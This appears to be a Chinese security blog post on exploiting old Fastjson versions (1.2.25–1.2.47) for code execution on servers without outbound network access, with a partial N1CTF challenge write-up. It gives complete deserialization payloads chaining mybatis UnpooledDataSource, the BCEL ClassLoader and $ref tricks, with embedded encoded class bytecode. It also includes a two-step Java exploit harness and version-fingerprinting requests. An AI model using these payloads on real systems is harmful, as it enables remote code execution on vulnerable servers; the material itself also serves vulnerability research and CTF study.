老版本Fastjson 的一些不出网利用

炒个冷饭,在近期的一些项目中,我们遇到了几个用了老版本Fastjson的目标,在利用时因为目标不出网的原因导致无法直接利用。
目前网上常见的老版本Fastjson不出网利用方式,主要有BCEL ClassLoader代码执行、C3P0二次反序列化、common-io写文件等利用方式,在我们的目标环境下均失败。
这次将BCEL ClassLoader的利用方式改成了题目出到了n1ctf中。

1、FastJSON BCEL ClassLoader代码执行

做项目时遇到的一个案例,黑盒测试通过InetAddress探测目标FastJSON版本<=1.2.48,同时探测到存在mybatis包,目标无DNS且不出网。

首先大概了解一下BCEL ClassLoader的利用原理,
com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;

/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

BCEL ClassLoader在loadClass时,如果classname中含有$$BCEL$$,则会进入createClass逻辑中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}

在createClass方法中,对classname解码得到class bytes,使用ClassParser解析class bytes生成JavaClass,最后调用defineClass生成class。

FastJSON 触发BCEL ClassLoader,目前使用得最多的两种利用方式需要分别依赖tomcat-dbcp、mybatis,通过FastJSON探测到目标存在mybatis包。

mybatis的BCEL利用类为 org.apache.ibatis.datasource.unpooled.UnpooledDataSource
众所众知,fastjson可以通过$ref、JSONObject调用getter方法,在该类的 getConnection -> doGetConnection -> initializeDriver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private synchronized void initializeDriver() throws SQLException {
if (!registeredDrivers.containsKey(this.driver)) {
try {
Class driverType;
if (this.driverClassLoader != null) {
driverType = Class.forName(this.driver, true, this.driverClassLoader);
} else {
driverType = Resources.classForName(this.driver);
}

Driver driverInstance = (Driver)driverType.getDeclaredConstructor().newInstance();
DriverManager.registerDriver(new DriverProxy(driverInstance));
registeredDrivers.put(this.driver, driverInstance);
} catch (Exception var3) {
throw new SQLException("Error setting driver on UnpooledDataSource. Cause: " + var3);
}
}

}

在initializeDriver方法中,如果设置了driverClassLoader属性,就会进入Class.forName逻辑,通过FastJSON的反序列化可以控制driver、driverClassLoader属性,也就是我们能控制classloader和classname。
同时在Class.forName时,设置了initialize属性为true,会触发静态方法,这时候控制classloader为BCEL ClassLoader,再控制classname为$$BCEL$$XXX,即可实现代码执行,在initializeDriver方法里也newInstance了所以也会触发构造方法。

根据网上公开的<=1.2.24的BCEL ClassLoader修改的payload如下,在1.2.47可触发

1
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$hA$Q$ac$b1$8d$f7$c1$9a$87$c1$e6$91$84$98$b7$8d$E$3e$e4h$94K$ER$94M$88bd$94$e3x$Y$cc$c0$b2$b3Z$8f$81$3f$e2$cc$85D$89$94$dc$f3Q$88$9e$F$ZKd$P$dd$d3U$d5$d5$3d$b3$ff$ee$7f$fd$B$f0$Ou$l$k$e6$7d$y$60$d1$c5$x$9b_$3bx$e3$60$c9G$Ro$j$d4$i$y3$UwU$ac$cc$7b$86$7c$bd$d1a$u$7c$d0$c7$92a2T$b1$fc2$b8$e8$ca$f4$90w$pB$ca$a1$W$3c$ea$f0T$d9$fa$J$y$98S$d5$t$8fp$efRE$z$GwWDOv$8c$e8Jx$c6$_yS$e9$e6$c7$83$bdk$n$T$a3tL$b2R$dbpq$fe$99$t$99$N$z$c5$e0$b7$f5$m$Vr_Y$5b$cf$da$ed$d8$de$A$3e$c6$j$ac$EX$c5$gCU$t2$aem$f3$g$ad$o$G$R7$3a$dd$e1I$S$60$j$h$M3$ff$99$c6$b0$98$a1$R$8f$7b$cdo$83$d8$a8$L9$q$ad$fb$s$dd$c2$8ec$98z$W$kt$cf$a40$M$d3$_zi$d3$9e4$c3$a2Ro$84$_4t$c3$82$bc$96$82a$b3$3e$c2$b6M$aa$e2$5ek$b4$e1k$aa$85$ec$f7$a9a$7eTyx$9a$ea$x$fb4$adF$H$cbp$e9$3f$da$_$Hf$9f$83b$40U$932$a3$3c$b6$f5$D$ec6$a3K$U$8b$Z$98$c7$E$c5$e0Q$80ILQv1$3dl$3e$n$85$e5$e6$7e$oW$ce$df$a1pt$83$d2$a7$df$u$7e$t7$e7$efmFz$q$j$p$a1$b5$ad$d2$Jp$I$f3$Ju$J$f3$I$h$l$8e$b1u$Z3T$cdf$ba$5c$e8$a0$e2$RQ$cd6$9b$7b$A$7f$Q$bb$L$96$C$A$A"}}:{}}}

但是在目标环境下却没成功利用,不过很容易想到没利用成功的原因。在之前的<<那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析>>文章中也提到过,该利用只有在fastjson 1.2.33 - 1.2.47或者无autotype的版本可利用,那么大概率就是因为目标版本处于1.2.25 - 1.2.32版本之间。

在fastjson 25 - 32,checkAutoType方法中,只要反序列化的类在黑名单中就抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
在fastjson >= 33时,就算反序列的类在黑名单中,只要反序列的类在mapping中就不会抛出异常,所以通过java.lang.Class将恶意类加入到mapping后能够利用
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}

1.2.31版本的黑名单为,

1
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

com.sun包在黑名单中,导致com.sun.org.apache.bcel.internal.util.ClassLoader无法使用。

那么是否能够绕过这个限制?
回到1.2.31的checkAutoType方法中,黑名单的检测是通过startsWith方法进行检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

<=1.2.48的利用中,是通过java.lang.Class将恶意类加入到mapping中,在checkAutoType方法中,通过三个方法来尝试获取了class,这里主要关注其中两个从mapping获取clazz的方法,在autotype默认关闭的场景下,可以简单理解为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
        如果exceptclass不为空,进行黑白名单检测

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if(clazz != null){
return clazz;
}

必定进行黑白名单检测

clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
根据之前的经验,能够知道TypeUtils.loadClass获取clazz时,存在一些黑名单绕过的方式。
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}

通过[com.sun.org.apache.bcel.internal.util.ClassLoader、Lcom.sun.org.apache.bcel.internal.util.ClassLoader; 都可以绕过startsWith的黑名单。

但是TypeUtils.getClassFromMapping不存在这个特性,直接无任何处理从ConcurrentMap mapping中获取clazz。

1
2
3
public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}

这样导致了依然无法利用,因为在TypeUtils.loadClass后还会使用isAssignableFrom判断获取到的clazz是否为ClassLoader子类,如果是则会抛出异常结束流程,当然BCEL ClassLoader肯定是ClassLoader的子类,导致无法利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

为了逃脱classloader的检测,必须在ClassLoader检测之前就return clazz,只能指望TypeUtils.getClassMapping,不过刚才也提到了getClassMapping方法无任何特性能够帮助我们绕过黑名单。

在两层黑名单检测的逻辑中,第一层是指定了期望类后才会进行黑名单检测,第二层在未开启AutoType状态下一定会检测。

那么只要在反序列BCEL ClassLoader时不指定期望类,就可以不经过第一层黑名单检测,直接通过getClassFromMapping方法获取clazz了,同时通过getClassFromMapping获取到clazz后就会直接返回clazz,不会再经过classloader检测。

在反序列化设置com.sun.org.apache.bcel.internal.util.ClassLoader的driverClassLoader属性时,发现确实指定了期望类为java.lang.Classloader,但是我们也没有手动给driverClassloader设置期望类。

调试发现Fastjson在正常反序列化时,com.alibaba.fastjson.parser.DefaultJSONParser#parseObject处理,传入autotype的期望类确实为null
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

但如果是通过@type反序列化设置bean属性时,则是通过com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze处理,在该方法中会去获取属性对应的类型,并且作为期望类传入到autotype方法中,导致会进入到第一层的黑名单检测中。

1
2
3
4
5
if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(ref, expectClass);
deserializer = parser.getConfig().getDeserializer(userType);
}

是否还有其他的方法不指定exceptclass设置属性值呢,很容易想到FastJSON的$ref特性。
既然正常非属性值的反序列化是不会设置exceptclass的,那么先反序列化生成BCEL ClassLoader之后,再通过$ref引用设置到driverClassLoader属性即可绕过。

1
[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[2]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A"}]

以上JSON经过FastJSON解析后,未报错并且成功设置上了driverClassLoader属性,那么只需要再调用到getter getConnection方法就可以实现代码执行了。

FastJSON调用getter常用两种方式,1、$ref,2、JSONObject。
$ref调用getter方法,根据网上说法需要在>=1.2.36版本才可以实现,所以无法在我们的目标上利用。
JSONObject可以在低版本使用,但是也存在一个很尴尬的问题。
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject ,在处理$ref时是通过addResolveTask新增了一个任务,在parse完成之后再来处理任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
.....................
if ("..".equals(ref)) {
if (context.object != null) {
refValue = context.object;
} else {
this.addResolveTask(new ResolveTask(context, ref));
this.setResolveStatus(1);
}
break;
}

if (!"$".equals(ref)) {
this.addResolveTask(new ResolveTask(context, ref));
this.setResolveStatus(1);
break;
}

for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
}

if (rootContext.object != null) {
refValue = rootContext.object;
} else {
this.addResolveTask(new ResolveTask(rootContext, ref));
this.setResolveStatus(1);
}
break;
}

而JSONObject调用getter的利用,一样在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject中,在parse时就会调用到getter方法,无法等到处理完$ref的任务后再调用getter,导致调用到getConnection方法时还未设置driverClassloader属性值。

1
2
3
if (object.getClass() == JSONObject.class) {
key = key == null ? "null" : key.toString();
}

因为ResolveTask的原因,导致不能使用JSONObject调用getter的方式,那么还是只能指望$ref调getter了。
首先研究一下$ref为什么只有在>=1.2.36版本后才能调用getter,以及是否有可能在低版本实调用getter,$ref调用getter的调用栈为

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
com.alibaba.fastjson.JSONPath#eval
com.alibaba.fastjson.JSONPath$PropertySegement#eval
com.alibaba.fastjson.JSONPath#getPropertyValue

最终在getPropertyValue方法中调用到对应属性的getter方法,在低版本中, 处理$ref任务时要调用到JSONPath.eval 存在多个限制, refValue必须非null、类型为JSONObject且fieldInfo不为null。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void handleResovleTask(Object value) {
if (this.resolveTaskList != null) {
int i = 0;

for(int size = this.resolveTaskList.size(); i < size; ++i) {
ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);
String ref = task.referenceValue;
Object object = null;
if (task.ownerContext != null) {
object = task.ownerContext.object;
}

Object refValue = ref.startsWith("$") ? this.getObject(ref) : task.context.object;
FieldDeserializer fieldDeser = task.fieldDeserializer;
if (fieldDeser != null) {
if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
Object root = this.contextArray[0].object;
refValue = JSONPath.eval(root, ref);
}

fieldDeser.setValue(object, refValue);
}
}

在>=1.2.36时,除了原有的JSONPath查询逻辑还新增了一个如果refValue为null也会调用到JSONPath.eval的逻辑,调用到JSONPath.eval基本不存在限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void handleResovleTask(Object value) {
if (this.resolveTaskList != null) {
int i = 0;

for(int size = this.resolveTaskList.size(); i < size; ++i) {
ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);
String ref = task.referenceValue;
Object object = null;
if (task.ownerContext != null) {
object = task.ownerContext.object;
}

Object refValue;
if (ref.startsWith("$")) {
refValue = this.getObject(ref);
if (refValue == null) {
try {
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException var10) {
}
}
} else {
refValue = task.context.object;
}

FieldDeserializer fieldDeser = task.fieldDeserializer;
if (fieldDeser != null) {
if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
Object root = this.contextArray[0].object;
refValue = JSONPath.eval(root, ref);
}

了解清楚<1.2.36版本$ref getter的限制之后,尝试绕过

1
2
3
4
if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
Object root = this.contextArray[0].object;
refValue = JSONPath.eval(root, ref);
}

因为RCE需要触发的是getConnection方法,所以大概率需要$.connection来触发,为了满足refValue不为null,需要在JSON里加一个connection的key,同时限制了refValue的类型为JSONObject,

1
2
3
4
5
6
7
8
9
10
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
if (type == JSONObject.class && parser.getFieldTypeResolver() == null) {
return parser.parseObject();
}
boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
ParseContext ctxLocal = null;
if (!parentIsArray) {
ctxLocal = this.setContext(context, input, key);
}

FastJSON在反序列JSONObject时,设置的context是ROOT,而且JSONObject设置context时对fieldName无任何限制。如果是反序列其他的类,fieldName必须是存在的属性。
那么就可以通过JSONObject对ROOT context设置一个connection属性,同时类型为JSONObject
{“@type”:”com.alibaba.fastjson.JSONObject”,”connection”:{}}

在对root context设置了connection后,再通过$ref获取root的connection,因为还限制了fieldInfo不能为null,所以需要在一个存在的field里面调用$ref。

不过能够获取root context的connection了暂时也没用,因为root context不会是UnpooledDataSource对象,无法直接调用到getConnection方法。

1
{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}

在完成这一系列对应的构造后,调用到JSONPath.eval然后调用到getPropertyValue后,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
protected Object getPropertyValue(Object currentObject, String propertyName, boolean strictMode) {
if (currentObject == null) {
return null;
} else if (currentObject instanceof Map) {
Map map = (Map)currentObject;
Object val = map.get(propertyName);
if (val == null && "size".equals(propertyName)) {
val = map.size();
}

return val;
} else {
Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
return beanSerializer.getFieldValue(currentObject, propertyName);
} catch (Exception var12) {
throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var12);
}
} else if (currentObject instanceof List) {
List list = (List)currentObject;
if ("size".equals(propertyName)) {
return list.size();
} else {
List<Object> fieldValues = new JSONArray(list.size());

for(int i = 0; i < list.size(); ++i) {
Object obj = list.get(i);
Object itemValue = this.getPropertyValue(obj, propertyName, strictMode);
if (itemValue instanceof Collection) {
Collection collection = (Collection)itemValue;
fieldValues.addAll(collection);
} else {
fieldValues.add(itemValue);
}
}

return fieldValues;
}
} else {
if (currentObject instanceof Enum) {
Enum e = (Enum)currentObject;
if ("name".equals(propertyName)) {
return e.name();
}

if ("ordinal".equals(propertyName)) {
return e.ordinal();
}
}

if (currentObject instanceof Calendar) {
Calendar e = (Calendar)currentObject;
if ("year".equals(propertyName)) {
return e.get(1);
}

if ("month".equals(propertyName)) {
return e.get(2);
}

if ("day".equals(propertyName)) {
return e.get(5);
}

if ("hour".equals(propertyName)) {
return e.get(11);
}

if ("minute".equals(propertyName)) {
return e.get(12);
}

if ("second".equals(propertyName)) {
return e.get(13);
}
}

throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName);
}
}
}

如果获取不到currentObject的序列化器,且currentObject是List,那么会遍历List中的对象再递归调用getPropertyValue,在遍历递归过程中如果一旦获取不到对应的属性就会抛出异常结束流程。
因为list类型会遍历,那么我们利用JSONArray,也就是[{},{}]即可实现遍历。
为了解决获取不到属性就抛出异常的问题,需要将org.apache.ibatis.datasource.unpooled.UnpooledDataSource提到List的第一个。
不过低版本的利用,需要先将恶意类加入到Mapping中,按理第一个对象会是java.lang.Class而不能是UnpooledDataSource,又为了解决这个问题,只能将利用分段。
首先第一次请求使用java.lang.Class将所有利用类加入到mapping中,第二次请求将UnpooledDataSource放到list的第一位,再调用getter实现RCE,最终的利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
js =    "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"}," +
"]";

System.out.println(js);
JSON.parse(js);

js = "[" +
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A\"}," +
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"}," +
"{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}}," +
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}" +
"]";

System.out.println(js);
JSON.parse(js);

Web中利用,1、恶意类加入mapping

2、调用getter RCE

1.1 N1CTF Old FastJSON

在这次的n1ctf中,我将这个利用改了改出成了一道题。稍微有一点不同的在于,之前实战遇到的目标是黑盒测试普通Tomcat项目的JSON.parse,题目改成了SpringBoot fastJsonHttpMessageConverters。

题目叫做Old FastJSON,题目描述为Rce and get flag,最终一支队伍解出,第一天给出了User.java的代码,本来准备是第二天白天给出完整代码,不过有队伍在第二天凌晨已经解出来了,就没有再放完整代码了。
根据题目很容易了解到是要针对老版本FastJSON实现RCE,登录后抓包

1
2
3
4
5
6
7
POST /api/login HTTP/1.1
Host: local:8080
Content-Length: 35
Content-Type: application/json
Connection: close

{"username":"asd","password":"asd"}

根据404页面能够知道后端框架为SpringBoot

1
2
3
4
5
{
"@type":"java.net.Inet6Address",
"val":"127.0.0.1",
"username":"asd","password":"asd"
}

1
2
3
4
5
{
"a":{"@type":"java.net.Inet6Address",
"val":"127.0.0.1"},
"username":"asd","password":"asd"
}

@type提交后发现后端产生了异常,而将@type放到value时不会产生异常,能够知道是因为设置了期望类导致type not match的原因,能够想到是SpringBoot常用FastJSON HttpMessageConverters方式

1
2
3
@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public Object doLogin(@RequestBody User user, HttpServletRequest request){
1
2
3
4
5
{
"a":{"@type":"java.net.InetAddress",
"val":"127.0.0.1"
},
"username":"asd","password":"asd"}

返回正常,证明FastJSON < 1.2.48版本。

1
2
3
{"username":"admin","password":"123456",
"a":{"@type":"bbb"}
}

返回异常,证明版本>1.2.24

1
2
3
4
5
{
"a":{"@type":"java.net.InetAddress",
"val":"www.baidu.com"
},
"username":"asd","password":"asd"}

127.0.0.1返回正常,www.baidu.com返回异常,说明目标机器不存在DNS配置或者不出网。

1
{"c":{"@type":"java.lang.Class","val":"javax.swing.JEditorPane"},"d":{"@type":"javax.swing.JEditorPane","page":"http://host/a"}}

